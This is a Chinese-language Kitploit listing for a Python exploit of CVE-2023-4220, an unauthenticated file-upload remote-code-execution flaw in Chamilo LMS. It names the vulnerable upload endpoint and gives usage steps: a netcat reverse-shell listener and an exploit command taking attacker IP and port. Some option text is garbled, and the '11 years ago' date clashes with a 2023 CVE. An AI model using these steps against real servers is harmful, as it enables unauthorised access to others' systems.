Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具，武装您的安全武器库！

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新，查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-4220-RCE — 用于 CVE-2023-4220 的 Python 漏洞利用程序，该漏洞是 Chamilo LMS 中因不受限制的文件上传导致的未认证远程代码执行漏洞，可实现 Web Shell 部署和反向 Shell。 | Kitploit
工具/GitHubGitHub/bueno-armando/cve-2023-4220-rce
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试远程访问工具
GitHubbueno-armando/cve-2023-4220-rce

CVE-2023-4220-RCE

用于 CVE-2023-4220 的 Python 漏洞利用程序，该漏洞是 Chamilo LMS 中因不受限制的文件上传导致的未认证远程代码执行漏洞，可实现 Web Shell 部署和反向 Shell。

查看仓库
11年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2023-4220-RCE

摘要

Starlabs 公告

  • 受影响产品： Chamilo <= v1.11.24
  • 描述： Chamilo LMS <= v1.11.24 中 /main/inc/lib/javascript/bigupload/inc/bigUpload.php 的大文件上传功能存在无限制文件上传漏洞，允许未认证攻击者通过上传 Web Shell 执行存储型跨站脚本攻击并获得远程代码执行。
  • CVSS 评分： 8.1 (高)

使用方法

  1. 设置 netcat 监听器（如果你想要反向 Shell）
sudo nc -lnvp 443
  1. 运行漏洞利用程序
python3 exploit.py -u --url <REMOTE HOST>, -p --port [REMOTE PORT] -c --comand <COMMAND>
  • 反向 Shell 参数
    • -lh/--localhost： 攻击者 IP
    • -lp/--localtcat 监听端口
下载工具